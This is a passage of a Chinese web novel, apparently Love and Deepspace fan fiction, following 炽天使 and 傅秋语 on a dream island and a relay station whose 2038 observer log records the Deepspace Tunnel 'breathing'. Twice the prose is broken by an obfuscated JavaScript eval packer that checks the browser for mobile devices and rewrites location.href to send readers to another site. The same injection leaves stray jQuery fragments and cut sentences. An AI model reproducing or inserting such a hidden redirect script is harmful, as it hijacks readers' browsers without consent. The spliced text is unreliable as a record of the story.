他们首先听到了蓝鲸的鸣叫，那孤独而幽远的声音骤然响起，瞬间让人浑身战栗，起了一身鸡皮疙瘩。 炽天使瞳孔放大。 它可以清晰地看到V.E之海里的景象，并不会被眩目的光模糊视野，或许是因为他本来就诞生于V.E。 那些死亡后的生物在进入这片V.E之海中，褪去了腐化的躯壳，变成了纯白而鲜活的生灵。 无数纯白的游鱼从他身边游过，在他们下方，一头巨大的蓝鲸欢悦歌唱，仿佛在迎接他的到来。 这里的V.E之海和外面完全不一样，这磅礴而澎湃的生命力，他感觉自己闯入的不是V.E之海，而是生命的源头。 炽天使猛然意识到，那老东西死前对他说的话居然是真的！ ——“她是一切的终点，我们回归她，如同孩子回归母亲的胞衣，川流回归大海，我们终将在新世界重逢。” “这就是……所有人的终点？” 对了，他想起来了，那老东西死后，他看过那些残留资料。他的整个天使家族，曾经都是人类。 妈妈在喊他…… 她来了，纯白的女性人影从光海深处如鸟儿一样飞来，她伸出纤细的双臂拥抱炽天使坚硬而巨大的头部骨骼。 “孩子……我的孩子……妈妈，没有能力保护你……” 是了……是了……那些资料都是真的。 他不是生来就是怪物，是彼岸和EVER的走狗杀害了妈妈。他们把他从她身边夺走，抹去了他的记忆，把他变成怪物！ 而现在，他在这里与她重逢。 她们两个……也在这里见到自己的亲人了吗？ 引力减弱，光海即将消逝，那包裹全身的无比柔软温暖的生命之海逐渐恢复为普通的淡水。他开始感受到沉重的水压，以及水中本应存在的冰冷温度。 它忍不住回头。 女性的人影留在光海之中，远远地凝望着他。炽天使离开了那片温暖的海，但妈妈的温暖的目光依然停留在他的心里。 炽天使想，如果能记起她的事就好了。这样…… 他离水面越来越近，越来越近，船的漂流速度越来越慢，越来越慢……透过清澈的水体，它看到了一株巨大的柳树，还有无数如星点般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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成群的蝴蝶从他身侧飞过，发出振翅的声音。 他走到了柳树下，抬头向上看。多美的柳树啊，简直就像一个梦，树上还有个很大的巢穴，那是孕育美梦的温床吗？ 安迪：“你还是这么喜欢柳树……也是，你穿越了时光，时间没有在你身上留下痕迹，而我已经等老了。” 树下依稀站着一个穿着蓝裙子的女人，她背对着他，她的长发和记忆里的那样，浓密而微卷。 “秋……加西娅女士。”他出声喊道。 他还不能和她相认。 虽然……他们好久……好久好久没有见过面了。对于他而言，他们最后一次见面，还是二十四年前的一次不欢而散。 “傅秋语”听到了声音，转身侧头看过来。 依然是记忆里年轻貌美的样子，她微微地笑着，这一刻，清风和煦，光线……嗯？光线怎么忽然变暗了？ 安迪回过神，只见“傅秋语”挥手间，四周的柳树枝条忽然暴长、飞舞，在空中织出一张巨大的墙，纵向拦截在两人中间。 “傅秋语”冷漠地看了他一眼，随后身形消散，化为一只蝴蝶飞走。 安迪一怔。 在几个眨眼的工夫里，巨墙已经编织完成，视野之间除了这堵墙再也看不到其他。 轰！—— 巨墙向他逼近，湖水被推动过来，水位一下暴涨。 安迪向回跑：“不好，快躲到白塔里！” 但是来不及了，柳枝巨墙的移动速度极快，他们被席卷而来的湖水不断地向后推，直到——推到了岛屿的边缘。 德雷克：“不是吧！！！” 炽天使想要再次展开翅膀，但这一次不知道为什么，它的本体被强行禁锢在肉身中出不来，于是一行人全部被推下了浮空岛，坠入万丈深渊。 72.072 炽天使第一个醒。 他之前在下坠的途中被什么东西电了一下，一下就晕了，后面发生了什么他一点都不知道。 ……这是……已经掉到底了吗？ 即使它可以强化附身的躯体，但从那么高的地方掉下来，身体居然没有被摔碎，也是神奇。 炽天使艰难地起身。旁边物资散落了一地，另外两个人都还晕着，麻袋里的齐格也和亖了一样安静。 他手掌撑着地面，想要起来，结果一掌按下去，“地”居然陷下去了。 定睛一看，他发现身下的不是坚实地面，而是柳枝织成的垫子，疑似是把他们推下浮空岛的罪魁祸首。 同时，他感觉这个垫子不怎么稳当，一直在起起伏伏地晃，耳边还有潮汐的声响。 炽天使勉强撑起来，抬眼望去—— 一片海。 他们这一行人被这张巨大的柳枝垫子托着漂在海上，不知道漂了多久。 太阳从地平线升起，发出万丈光芒，炽天使正在找他们的船去哪儿了，一转头忽然发现一名少女正坐在他们倾覆的船上，静静地看着朝阳。 炽天使吃了一惊。 她看着比之前传来的照片要年轻许多，这是怎么回事？ 少女穿着一袭浅蓝色的纱裙，脖子上围了条很长的纱巾，阳光下那条纱巾闪烁着流水般的光泽。 海风轻拂，卷起她微卷的长发，光线将她的发丝映照成纯金色。 她坐在船头，脚尖够不着地，便轻轻地晃着小脚丫。 他试探着问：“你是……加西娅？” 少女闻言转头看他。 好平静、好冷漠的眼神……那双本应春意盎然的桃花眼，却仿佛承载着无尽的萧瑟。 炽天使沉默。 说起来，她为什么会成为救世主？……究竟是她选择了命运，还是命运选择了她？ “……小白鸟？真有意思，你和另外几个小花生……长得一点都不一样。” 少女傅秋语忽然开口说道。 炽天使立刻警惕起来：“你把她们怎么了？” 傅秋语微笑，但是那种很人机的皮笑肉不笑：“我还需要用它们，所以它们暂时……很安全。” 炽天使：“你到底是能量体，还是救世主本人？” 傅秋语没有直接回答，她笑了下：“救世主……？你们小花生，话术还真统一。” 炽天使：“不是话术，你是被选定的救世主，这一点毋庸置疑。我们也不叫小花生，我们的家族名为‘天使’，负责引渡世人前往彼岸。” 傅秋语：“好恶心。” 炽天使：“你在成为这个V.E空间的主人后，就一点都没察觉到这份力量来自何处吗？只要你察觉得到，你就一定会发现，为什么你是救世主。” “你是一切的终点，万物生灵回归你，所以只有你才能——” 傅秋语：“我说了，很恶心，闭嘴。” 一股电流又击中了他，炽天使身体一麻。他终于感觉到哪里不对了——哪来的电流？？ 不是抑制器。 比起抑制器那种足以撕碎他本体的痛苦，这股电流很温和，仅仅像是一个警告。 炽天使：“……你和我想象里的救世主很不一样。” 傅秋语：“你的想象来自虚构的故事，而我是真实的人。我有权拒绝这份莫名其妙的差事。” 她从船上跳下来，光裸洁白的脚踩在柳枝地面上。她走过来，含着莫名的微笑，轻轻地拂过……钉在炽天使头颅上的蝴蝶簪子。 炽天使这时才发现它的存在，它终于知道自己为什么会禁锢在这副肉身里出不来，以及这两次电击是怎么回事。 ——什么时候下的手？ 最重要的是，他怎么一点痛觉都没有？ 傅秋语：“你很强，为了防止你坏事，只能小小的偷袭一下，你不介意吧？” 她居高临下地俯视他。 虽然装得很温和，但眼里的冷漠和强势根本不加掩饰，显然，她根本不会给他说“介意”的机会。 傅秋语：“从现在开始，照我说我做。” “等他们醒了，你们一行人往东南方向划，那里有个镇子，镇子里有个教会监狱，俞启被关在里面，你们把他带出去——我是指，离开这个空间，我会护送你们离开。事成之后，我会把那两个小花生还给你。” 炽天使纠正她：“不是小花生，是天使。” 她嗤笑一声。 炽天使：“那你呢？” “我留在这里。”她双手环臂，手指点了点下巴，“你们擅自拖我入局，没经过我的同意，我有权决定自己是否入局。所谓惹不起躲得起，参与这场权与利的角逐对我没好处，更没意义，我退出。” “还是说，你认为到了现在，你们还有办法强行带我走吗？” 她含笑的目光阴沉沉地压过来，炽天使举起双手作投降状：“这里你说了算，我按你说的做。” 无可无不可，炽天使觉得。 毕竟他要杀的人实在太多，这位救世主和他立场不冲突，就算他们不能成为朋友，至少也不是敌人。 同样都是命运的囚徒……至少现在，他不想与她为敌。 炽天使：“不过，我毕竟是带着任务来的，你竟敢委托我做事……你就不怕出去后我杀了那男人泄愤？毕竟我任务失败了，心情烦闷很正常。” 他在试探她。试探这个让她特地费心安排的男人，在她心里是什么分量。 不管怎么说，也是共患难的人。 傅秋语冷冷地瞥他一眼，看不出情绪，她说：“一个累赘的男人罢了，把他送走我就已经仁至义尽了。至于出去后的事，我管不着，你随意。” 炽天使再次投降。 行，算她厉害。 所有的事交代完毕，她没有什么要说的了。 少女无声后退，她的纱巾在海风中翩飞，像极了蝴蝶展翅。随后，她的身形消散在晨光中，化为流光消失于天际。 她一走，炽天使立刻摸向扎在自己脑壳上的簪子，一道电流毫不客气地贯穿他的全身，把他电麻了同时，电流还顺着地面潮湿的枝条把其他人给电醒了。 德雷克直接被电得直挺挺坐起来：“嗷！！！” 安迪也被电醒了，一醒过来就听到德雷克在叫，他揉了揉耳朵：“还没到月圆之夜，你就要变成狼人了吗？” 德雷克：“我好像被电了，好疼！” “嘶……”安迪艰难地坐起来活动身体：“我也是……” 德雷克：“怎么回事，米迦勒你是不是趁我们晕过去偷袭……卧槽！”他瞪大了眼睛：“你在冒烟！！” 炽天使倒在地上痉挛抽搐，头发被电得根 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几人同时扭头看着那个安静的麻袋，沉默了两秒，一股淡淡的喜悦涌上除了德雷克之外的两人心头。 麻袋一拉开，两人移开视线，一个用转头看风景掩盖自己的失望，一个在假装收拾物资来掩饰自己眼中的杀意。 齐格口中塞着布条，衣衫尽湿，皮肤因长时间浸泡而泛白起皱，绳子紧紧缠绕在身上，勒出道道红痕，模样看起来十分狼狈。 然而，他的眼神异常清醒，他冷冷地扫过正在假装欣赏风景的炽天使，一抹寒光在他眼底转瞬即逝。 ——让他抓到了。 其实他才是那个最先醒的人。 这一路他也是糟了老罪，什么东西都没看到，但是罪一下没少受。 一开始是被甩来甩去，整个人像卷到滚筒洗衣机里，又洗又甩的。接着好容易平稳下来没多久，他又听到自己家早就死了的老登趴在他耳边说要找他索命，他嘴被堵着骂不出来，气死他了。 之后就感觉船停了一段时间，再然后外面又出事了，他们好像被什么东西就从很高的地方推了下去。隔着麻袋他都能感觉到外面的风在扇他的脸。 再之后他就撞到头，晕过去了。 醒来的时候，四周静悄悄的，麻袋外面黑漆漆的一片。 身下传来潮湿的触感，夹杂着海水的咸腥味，耳边是阵阵潮汐的声音。 他觉得其他人可能已经被摔死了，自己作为唯一幸存的居然还被绑在麻袋里动弹不得，说不定等会儿就要被淹死。一想到自己风光一世，最后的死法居然这么可笑，心底就一阵悲凉。 过了很久，久到他满脑子都只有“毁灭吧赶紧的”的时候，有人醒了。 天大致亮了，麻袋里也透了点光进来。 再然后，他就听到了炽天使的声音，还有……一个女的。 他听了全过程，如果不是自己嘴巴被堵死了，他可能会气得把牙齿咬碎。 真是一条记打不记吃的蠢狗！ 谁用鞭子抽他一顿，他就立刻俯首帖耳唯命是从，没骨头的东西！ 这样下去不行，炽天使是无所谓任务成不成功，但齐格不行。为了这个任务，他赌上了太多东西，救世主他必须带回EVER！ 她不肯走，没关系，就从那个叫“俞启”的男人身上下手！ 73.073 傅秋语坐在树上。 绿荫如盖，遮天蔽日，成群的蝴蝶栖息在柳枝上，如同一朵朵缀在树上的发光小蓝花。 一只颜色较浅的蝴蝶从外面飞回来，飞回树梢，成为众多缀在树上的蝴蝶之一。 “任务完成。” 她用柳枝编了两个花环，随后俯身戴在了柳枝巢穴中安眠的两人头上——祁煜和她的身体。 她的身体双手交叠在腹部，睡得很安详，祁煜则是侧身抱着她，额头抵着她的侧脸，下巴搁着她的肩膀，手则是紧紧握着她的手。 有种自己已经含笑九泉，而祁煜在给她殉情的生草感。 傅秋语扶着他的头，给他正了正花环，他眼球滚动了下，似乎感觉到了什么，手一下握得更紧了。 “嘶——”傅秋语咧了下嘴：“你抓那么紧是等着在我手上拓个手掌印？” 刚说完，祁煜手就松了。 傅秋语：…… 有时候真怀疑这家伙其实没有入梦，在这儿和她装睡。 但是他的意识还是她抽离出来，投放到梦中世界的。 傅秋语的手摸着他柔软的头发，像梳子一样给他整理发丝。 其实……她本来不想让他去那里。 但是他一直守在她旁边，用一种让她窒息的目光看着她沉睡的脸。 他说：“无非就是再等个几十年，几百年，几千年，几万年，我会等你醒过来……我这人最大的优点就是有耐心。” “我的珍珠小姐最讨厌背叛了……”他紧握着她的手，将她的手贴在自己脸侧：“所以，我永远不会背叛你。” 当时她觉得……自己的心被一双手使劲地捏，捏得她眼眶发涨，呼吸不畅，肌肤骨骼都疼痛起来。 这男人游戏里就已经很难缠了，看到了她的记忆之后，这下连她本人的软肋都一清二楚了。 该死的，为什么她捂不住自己碎片的嘴啊！！ 这感觉过于恼恨，过于耻辱……是那种想冲到海边尖叫着跑两千米然后把所有知情人打死就地埋了的耻辱。 但是…耻辱之余，另一种更深沉的迷茫在她心中如海潮般铺开。 喜欢，到底是一种什么感情呢？ 想着这个问题的傅秋语，意识逐渐模糊。 她的意识变得绵长而微弱，它化为了一缕风，缠绕着白塔顶端的天线，拂过了湖水和大海，潜入了梦中小镇的监狱，成为撩起小鱼发丝的一缕清风…… 最后，她成为小语看到小鱼时下意识亮起来的眸光。 ……她喜欢他吗？ 没有了记忆，他们还会喜欢上对方吗？ 真悲伤啊…… 毕竟，小语不是快乐、单纯、勇敢、善良的猎人小姐，从来都不是。 她不是信徒，不是小公主，不是女巫，她谁都不是，她只是他的故事的旁观者……只是屏幕后面一个再普通不过的玩家。 当她失去猎人小姐、信徒、小公主的身份，当他失去对于她们的记忆，他们对于彼此而言，只是世界上两个最普通的陌生人。 祁煜会收回自己的偏爱，她会收回看向他的目光回归内心的平静，一切来到他们本该有的位置。 她的意识湮灭了…… 随后，她的身形无法控制地走向破碎，化为一只孱弱的蝴蝶，虚弱地停歇在祁煜肩头。 不知过了多久，树下，傅秋语又出现了。 这是比较年轻版本的傅秋语，脸上还有一些肉肉的婴儿肥。 新的能量体不知道自己是谁，不知道自己身在何方，只是用自己单纯的目光打量这个美丽的湖心小岛。 再然后，记忆从新的能量体上复苏。 傅秋语揉了揉鼻梁。 她已经记不清自己的意识湮灭又复苏了多少次，记忆消失又恢复了多少次。 ——稀烂。 这就是她的评价。 像极了她稀烂的人生。 不断地被人踩进泥土里，意志、理想、信念都在毁灭自身般的痛苦中摧毁殆尽……然后她再一次又一次地从苦痛中爬出来，一次又一次地重塑自我。 但人的意志力是有极限的……这一次，她无力自救了。 她的意识被分得太碎，比车祸现场的碎玻璃还要稀碎，最关键的是，她也不知道为什么会这么碎。 但是……这样也挺好。 这个世界对她来说没有吸引力，只要把祁煜送走，她就可以踏踏实实地做一场永远不用醒的梦。 再也不用努力，不用工作，不用钩心斗角，不用处理任何人际关系，V.E之海中还有学不尽的知识，她这种死宅拒绝不了这个。 清风托举着傅秋语的身体，让她轻盈地落在树梢间。 她坐在巢穴边，托腮看着相拥而眠的两人，想了又想，还是觉得这一幕实在过于安详，不围个花圈可惜了。 她幻化出许多白玫瑰围在两人身体旁边，这个柳枝巢穴立刻显得好拥挤。再一端详，又觉得整体色调太惨白，不符合她的美学。 于是又幻化出一束嘉兰百合放在自己胸口，那抹艳色一出现，画面立刻就和谐了，但是也更像殉情了。 傅秋语：“我也是给咱们安排上后事了。” 说着，她手中又多出一朵紫色小雏菊。 傅秋语举起这朵小花，让它对着直射而来的光线。她看着透光的花瓣，说道：“我们乡下人在田里干活的时候，走在路边的时候，在河边摸鱼的时候，总是会遇到这种小野花。” “……小小的，不起眼的，随处可见的野花……多像我啊。” 她将小雏菊别到祁煜发间：“我很喜欢它，以前我总是会去田野里找这种花，采回去养在纸杯里，放置在电脑旁边。因为它虽然不起眼，却是见证我的勇气的花。” “曾经我以为……只要我够强大，就可以踏平人生的一切风浪。”傅秋语苦笑着摸了摸祁煜的脸，“后来我终于知道，我之所以那么认为……只是因为遇到的风浪还不够大。” “祁煜啊祁煜……我已经……很累了。我已经没有勇气再去面对外面的恶意……你没有背叛我，是我要背叛你了。” 躺在玫瑰花巢穴里，闻着花香，傅秋语放任思维再度离散—— 她化为了小镇郊外麦田中的一只蝴蝶，在金色的麦浪中，蝴蝶找到了自己最心 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当祁煜穿梭在各个空间中时，她的一部分变为流连在祁煜身边的风，一部分成为各个时期的碎片与他相遇，一部分到处寻找安全的庇护所，用来安放她脆弱的身体。 她找到了这个浮空岛。 在这个浮空岛中，她通过观测全局逐渐理解了V.E物质的起源以及如何使用它。 她意识到，如果自己无法统一所有散落的碎片的意志，那么她就不能回归一个完整的个体，也就无法真正控制V.E的力量。 她现在虽然也掌握了V.E的力量，但这股力量实际上是失控的。 小红——那个诞生于她的理想的不死鸟——V.E生物，似乎知道她的处境。 虽然她们甚至无法沟通，但它却一直引导着祁煜和自己另一个迷失的碎片“小语”，引导祁煜辅佐她走出阴影，辅佐小语理解V.E的力量，让她的认知逐渐与她趋于一致。 但她觉得……小红很难成功。 因为就算统一了“小语”这个碎片与她的意志和认知，还有疯狂的“噩梦”碎片。 “噩梦”是陷入疯狂中的她，根本不可能和她们达成统一。 总而言之，不想出去是多方原因的促成，反正她是已经摆烂了。 人生已经很累了，为什么还要找罪受呢？ 不过，为了救援队他们出去后能顺利摆脱彼岸，她这边还是需要做出一点努力的。 她一开始到这个浮空岛上时，根本不明白这个浮空岛的作用是什么，白塔外表也看不出是什么用途，倒是这外形一看就让她职业病犯了，总觉得是某种大规模杀伤性武器。 深空倒是有个同样是建立在浮空岛上的天行市，但鉴于这只是游戏设定，她没有亲眼看到建模，更不知道具体技术，她也不敢随便动这个白塔，万一真是某种武器就完蛋了。 直到祁煜说这岛上有信号基站，她才恍然大悟，这玩意应该就是基站。 不得不说，彼岸手笔真的好大，连浮空岛都能造出来，而造出来居然只是为了避开V.E辐射范围中转信号，也是够败家的。 不过现在，是时候让它为她所用了。 74.074 电磁门开启，湖水顿时从门外涌入基站内部。 两台控制柜被水冲倒，上面连接的电源线插口和积水接触，连接处顿时爆发出一簇短路的电火花。 这个基站曾经有人在里面工作过，意义不明，但这里竟然有监控设施和中控台，在白塔第二层。 也是……单纯的信号基站不需要建这么大，这从建造成本上说不过去。 因为感应到有人，基站内部的仪器自动开始运作。十多年没工作过的老家伙们跳闪了两下，随后二楼电力恢复正常，一楼因为短路电器没有任何反应。 二楼的中控台发出提醒，基站一层进水，需要打开疏水系统。 傅秋语来到二楼，看到中控台屏幕上的基站状态陷入思考。 她之所以要用基站，原因只有一个：如果她是彼岸上层，她绝不会只派一个队伍来执行任务。 诚然，米迦勒很强，它身上的V.E能量浓度相当之高，远远不是那几个小花生能比的。 她的力量是失控状态，能顺利杀了他的概率低于50%，所以她才又偷袭又威胁，故弄玄虚地与他达成交易。 但一个成熟的决策者，绝不会把鸡蛋放在一个篮子里，就算米迦勒再强也一样。 况且米迦勒和自己队友的关系好像不怎样，所以她认为，第二队一定有，并且就在不远的地方待命。 海上航行主要靠卫星通讯，每条船上都装了专门的卫星通讯设备，一般情况下她没法干扰到对方船只。 但是巧妙就巧妙在，这个地方为了保障V.E辐射覆盖后依然能保持通讯，特地设计了能穿透辐射区的能长距离、高强度发射信号的信号塔。 也就是说，对方或许也在信号覆盖范围内。 船在茫茫大海中，如果不依赖通讯和导航，根本找不到目标。 小花生的通讯器一直在她手中，这些天她一直模拟小花生的语气，不断地向外界传送信号，有时候还特地伪造一下信号不好的状态。 在外界眼中，小花生们依然在顺利执行任务中。但外界一直没有信号回过来，她吃不准外界的状态。 她现在有两个方案—— 1、先一直保持正确的信息传递，一旦救援队成功带着祁煜离开，她就开始传递错误信息，掩护他们撤离。但这个方案有个缺点，她没法确定他们在离开灰域*后，对方是否有手段掌握他们的位置。 2、她需要采取一些技术手段，在一定时间内干扰他们船上的通信和导航系统，这样第一个方案的缺点就不存在了。 这个基站的功能似乎不仅限于传递信号，或许她能用卫星雷达定位出附近的船只，如果能的话，她对周边的环境心里就有数了。 同时米迦勒这家伙也得想个办法做掉，他强得有点过分了。她虽然暂时压制了他，但这种压制并不是没有办法可解。 一旦压制解除，他们又离开灰域，她就要思考祁煜不一定能打得过他这件事，之所以说不一定是因为大海是他的领域，在这里打起来他有主场优势，但如果在陆地上祁煜有80%的可能会被按在地上摩擦……草，战力系统崩了啊。 齐格倒是可以留着，这家伙太弱了掀不起风浪，她还需要他给他们主子带话。 敲定主意，傅秋语开始四处翻找资料。 或许是彼岸觉得没人能找到浮空岛，这里的资料居然没被运走，不过这里也只有和这个基站有关的资料了，和下面那个基地有关的资料是一点都没有。 不过她也知足了。 她关闭电磁门，打开疏水系统。然后坐在椅子上，开始翻资料。 “……竟然还是，观察深空隧道的观测塔？”傅秋语目瞪口呆。 这鬼地方真是越扒越有啊。 第一天到这儿时，她无论怎么看这儿都是一个普通的荒岛，结果才几天的功夫就扒出了一堆东西，简直是卧虎藏龙。 这里到底还有多少惊喜是她不知道的？ 在这堆资料中，有本笔记是她从某个机柜中扒出来的。 以朴素的逻辑判断，这里应该记着非常重要的东西，否则不会特地藏到控制箱里，如果不是她好奇这里的控制器构造和她以前看到过的有啥区别，她还扒不出来。 这是一个名叫“何望”的观察员的工作日志。 【2038年1月28日找到了新工作，开心。今天起我得努力工作，这份工作意义重大，我可是在替全人类仰望星空啊！】 …… 【2038年5月6日深空隧道射线与磁场无异常。】 …… 【2038年7月13日深空隧道无异常。 哎，这种日复一日的工作好无聊。从工作到现在，检测器唯一一次检测到射线异常是仙女座恒星爆炸。哎！有点想奶茶炸鸡薯条糖醋排骨辣子鸡麻辣烫了。】 …… 【2038年9月30日天！深空隧道在呼吸！老天，我不知道应该怎么描述我看到的一切……它看起来像某种生物在呼吸！天哪……天哪！我得尽快把数据传送到总部……】 …… 【2038年10月20日我从根服务器调出了从前的数据，原来这个基站是博士通过向深空隧道发射信号，根据射线光谱反馈的数据定位出来的。而我日复一日的枯燥的工作，表面上是观测深空隧道为研究者提供数据，实际上目的只有一个——接受深空隧道的反馈信号。 深空隧道那边……有人在回应这个世界。 好可怕…… 博士给我看了银河超算*演算出的未来，这个世界会毁灭，而我们唯一的求生之路便是寻求逃往另一个世界的诺亚方舟。 我觉得很可怕，深空隧道那边的世界，到底是伊甸园……还是宇宙中某种怪物的呼唤？他们选择的路究竟是向死而生，还是飞蛾扑火？ 我想不出答案，拯救文明就非得选择这种方式吗？究竟是他们疯了，还是我依旧沉浸在旧日和平的余梦中……？】 …… 【2038年12月30日深空隧道……算了，我已经不想记录深空隧道了。 去他妈的拯救世界，去他妈的彼岸伊甸，去他妈的博士，去他妈的深空隧道，我不想再想这些东西。 我可能是庸才吧，我根本不想去思考人类文明究竟应该用什么办法去延续，我只知道……既然我们注定毁灭，那么我就不应该把时间浪费在这个该死的基站里。 过年了，是时候回家了。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856401|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 日志到这里结束。 傅秋语不知道这位观测者最后是否顺利回到了家，但她希望如此。 游戏设定里，深空隧道是在地球大气外层出现的时空门，菲罗斯星系是通过这个时空门被发现的。但在深空隧道发菲罗斯时，它就已经死亡。而在沈星回那边的线索又曾经明确指出过，当菲罗斯上还有生命时，地球已经死亡。 由此玩家推测出深空世界的时间线是一个莫比乌斯环，而串联时间的起点与终点的桥梁就是深空隧道。 但这个探测站——也就是彼岸——观测的对象，似乎根本不是这个世界观框架下的任何星系，而是隐藏在深空隧道背后的世界。 已知小花生们认定她是带领他们前往彼岸的救世主，再知这个世界消亡的生物最终化为V.E能量回归于她，最后加上这本笔记提供的线索，她大概推测出…… 好吧，不是大概，是已经八九不离十了—— 他们观测的对象，他们要逃往的伊甸园，正是创造出这个世界的——属于玩家的现实世界。 最重要的是他们并不是喊口号，是真的早就在布局提前入场，万事俱备，只等她来。 ……汗流浃背了姐妹们！ 这种被群狼环伺，稍有不慎就会被分而食之尸骨无存的感觉…… 她只是玩了个乙女游戏，欠了区区几个赛博情债而已，并没有犯天条，用不着把她也拖到游戏世界里实实在在的体验一波原汁原味的深空主控处境吧！ 还有那个向深空隧道发射信号来定位她降落的位置……这他妈不是她的星间探索吗？？ 草！你们这群初生用老娘抓老公碎片的办法来反向定位老娘啊？？？可惜你们没加速魔方，所以你们星间探索了十年才把老娘从池里抽出来是吧？ 草了！你们不要过来啊！！ 傅秋语看完人都裂开了，物理意义上的裂开了，能量体有点受不了这种刺激，本就不充裕的能量代谢周期，这下更是雪上加霜。 意识碎裂前，她把观测站的窗户都打开。 下一个能量体翻窗户进来，继续寻找自己需要的资料。 新的能量体情绪已经稳定了下来。 傅秋语研究了一会儿中控台，找到数据库，她翻了翻数据库，那数据还真是稳定的一比……不过这也是宇宙的常态了。 在何望为期一年的工作中，他只观测到过一次深空隧道异常，但那仅有的一次直接把他道心干破碎了，他究竟看到了什么？ “深空隧道那边有人在回应这个世界”——这句话让她很在意。 祁煜认识雨丘，这是她在这个世界的ID，可以判断出这个世界就是她自己的游戏世界没错。 但她在穿越之前，从来没遇到过什么超自然现象，既没有在游戏屏幕里弹出一个叉不掉的“你想穿越吗”这类的对话框，脚下也没有出现一个五芒星召唤阵拽她去异世界，最多最多梦到和小鱼一起出去玩，烤个火，打个流浪体什么的，评价为不如梦到和古神正面solo来得刺激。 到底是谁在回应这个世界？怎么回应的？ 反正这个人肯定不是她。 还有，彼岸为什么会闲置这个基站？之后的数据不测了是吗？ 75.075 傅秋语不是天文专业，但因为职业原因，对科幻题材的小说和影视作品比较感兴趣。 看得多了，就自然而然好奇背后相关的理论技术，所以大致了解过天文观测中频谱数据的含义。 她很好奇，彼岸究竟是怎么通过频谱数据定位到这里的，中间的运算公式是什么，在这里观测到的深空隧道，和N109区、临空市那边看到的有什么区别。 世界改变了，观测技术也变了，但一些基本的法则不会改变。 数据库中的资料以每日为单元进行保存，形成一个可以自行查阅的图表。 图表左侧是当日观察的深空隧道状态演算图，右侧则是当日宇宙的各种数据频谱。 “还真的不一样……” 游戏中出现的深空隧道画面，是主控离得比较近了，深空隧道像大气层上空破开的洞，一些炫目的光线从隧道边缘散发出来。 而从这里观测到的深空隧道，像一条不规则的管道，一头通往万里之外的临空市，一头通往银河系的星海间。 傅秋语看着中控台画面，陷入沉思。 这是只有这里才能观测到的画面吗？ 毕竟从游戏的画面中来看，深空隧道是个时空门，它不是真的隧道，隧道的那头是时间的另一端，不是普通的空间意义上的另一端。 但在这里看，这完全就像个普通的空间意义上的隧道。 这个基站有自己的卫星探测器，除了地面接受到的电磁波，它还会传回宇宙中的数据，进行一个综合的观测结果整合。 右侧的图表中，宇宙背景辐射始终保持稳定，经过终端计算，无限趋近于一条直线。深空隧道的引力和电磁波每日也都保持差不多的峰值，经过终端降噪换算，形成一条每日都差不多的曲线。 只有观测器移动位置，频谱上才会出现无规律的峰值变动。 右侧的深空隧道状态始终不变，它发出的电磁信号转化出的声音，也基本每日都保持不变，听起来像飞机以极近的距离贴地飞行的声音。 她大致看了一下，了解一下正常情况下的深空隧道的数据是什么样子，然后调出2038年9月30日的数据。 瞬间，满屏飘红。 傅秋语呆住了，因为她注意到了时间，这一天的数据居然只留存了十一秒！！ 这十一秒中的频谱波动，直接在深蓝的频谱背景上划下了几乎占据半个屏幕的连绵起伏的鲜红色“山峰”。波动之大，能量之强，简直就像在直视太阳。 而理论上会永恒不变的宇宙背景辐射线，也同步飘红，在这11秒中进行有规律的运动。这个发生了变化，比频谱变化还要令人恐惧。 因为频谱线的变化只能代表深空隧道这一个观测天体，而宇宙背景辐射线发生变化，就意味着整个宇宙的辐射都在这个时间段，整体发生了变化。 这可是整个宇宙啊！ 左侧的画面也从当日的整体曝光演算画面，变成了长达11秒的视频，观测者在视频下备注：这台终端算力的极限，实际上整个过程持续了31分41秒。 傅秋语下意识抹了抹额角，然后发现自己现在是能量体，没有冷汗这种东西。 好吧……姑且……姑且这个时候，还是想把祁煜拉过来陪她一起看的。这玩意比恐怖片还吓人啊！ 这个世界是她的游戏世界没错，但这个游戏世界已经陌生得连她自己都不敢认了。没听过的能量设定，没见过的势力，现在还有没听过的天文异象…… 这儿还是恋与深空吗？这是给她干哪儿来了，她没穿错到某个没看过的科幻小说里吧？ ……虽然深空世界观本来也挺科幻的就是了……从进度来看她确实还有很多不知道的设定…… 都怪狗叠更新太慢！要官方多更一些主线，她充分的了解深空隧道的设定，她还用得着像现在一样懵圈吗！！ 骂了一波狗叠，她终于做好了心理建设，点开视频。 视频的第一秒是正常状态深空隧道，但是从第二秒开始，整个深空隧道就炸起了无数毛边，同时电磁波转化出来的声音，也变得像是一排轰炸机战斗群从空中飞过丢下一堆炸弹，然后炸弹同时起爆了一样。 然后，那些毛边又同时收缩了进去，接着再度炸起毛边，然后再收缩。 因为不断的能量运动，整个深空隧道的引力场和电磁波急速变化，形态也不断地改变、收缩、膨胀，看起来还真的像某种生物在呼吸，整个大宇宙的背景也在同步闪烁。 视频不是真正的视频，而是终端进行演算过的画面，是可以放大缩小的。11秒很快就走到尽头，傅秋语放大画面，对着深空隧道的毛边，然后再次播放。 这次她看清了，那根本不是毛边，而是一个个能量爆发点喷射出来的呈弧线状运动的物质喷流，有点像太阳风暴。 由于能量爆发点过于密集，看起来像整个深空隧道长了毛。 傅秋语看到一个东西，眯起眼睛，想要再次放大屏幕，但是分辨率已经拉到最高了，已经没法看得更细了。 视频在第十秒里出现一个大约只有两个像素点的小黑点。 她之所以能注意到这么个小东西，主要还是因为观测者特地用十字叉标记出来，搞天文观测的人的眼睛果然都是显微镜。 由于没法看得更细，她只好反复拖拽进度条，确认那个小黑点的确是凭空出现的。 ……这是什么？像太阳黑子那样的深空隧道黑子？小黑子特有的无处不在？ 傅秋语：“十一秒……还是太短暂了。” 这么短的时间，只能看个大概，根本不知道全过程到底发生了什么。 